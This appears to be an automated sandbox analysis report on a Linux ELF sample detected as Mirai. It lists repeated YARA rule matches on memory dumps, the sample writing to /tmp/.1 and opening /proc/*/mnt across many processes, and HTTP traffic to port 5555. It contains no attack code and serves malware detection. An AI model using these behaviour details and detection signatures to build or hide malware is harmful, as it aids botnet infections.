Source: 7102.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7102.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7102.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6879.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6879.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6879.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6875.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6875.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6875.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7145.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7145.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7145.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7211.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7211.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7211.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6889.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6889.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6889.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6313.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6313.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6313.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6458.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6458.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6458.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7340.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7340.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7340.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7084.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7084.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26

Source: classification engine

Classification label: mal100.troj.linELF@0/1@0/0

Source: /tmp/7ALXuklmvu.elf (PID: 6235)	Directory: /tmp/.1			Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6235)	File: /tmp/.1			Jump to behavior

Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1582/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/3088/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/230/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/110/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/231/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/111/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/232/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1579/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/112/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/233/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1699/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/113/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/234/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1335/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1698/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/114/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/235/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1334/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1576/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/2302/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/115/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/236/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/116/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/237/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/117/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/118/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/910/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/119/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/912/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/10/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/2307/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/11/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/918/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/12/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/13/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/6243/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/14/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/6242/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/15/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/6245/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/16/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/6244/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/17/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/6247/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/18/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/6246/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1594/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/120/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/121/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1349/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/122/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/243/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/123/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/2/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/124/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/3/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/4/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/125/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/126/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1344/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1465/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1586/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/127/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/6/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/248/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/128/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/249/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1463/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/800/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/6238/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/9/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/801/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/6239/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/20/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/21/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1900/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/22/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/23/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/24/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/25/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/26/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/27/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/28/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/29/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/491/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/250/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/130/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/251/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/252/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/132/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/253/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/254/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/255/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/256/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1599/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/257/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1477/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/379/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/258/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1476/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/259/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/1475/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/936/mnt	Jump to behavior
Source: /tmp/7ALXuklmvu.elf (PID: 6237)	File opened: /proc/30/mnt	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 38650 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33824 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 42296 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 42324 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 48500 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 49398 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 45482 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 56776 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 51948 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 41858 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 47604 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 51100 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 48896 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 56562 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 59402 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 46214 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 58306 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 53886 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 60698 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 36582 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33330 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 50346 -> 5555

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 7ALXuklmvu.elf, type: SAMPLE
Source: Yara match	File source: 7044.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7073.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7000.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6659.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7430.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6323.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6747.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6308.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
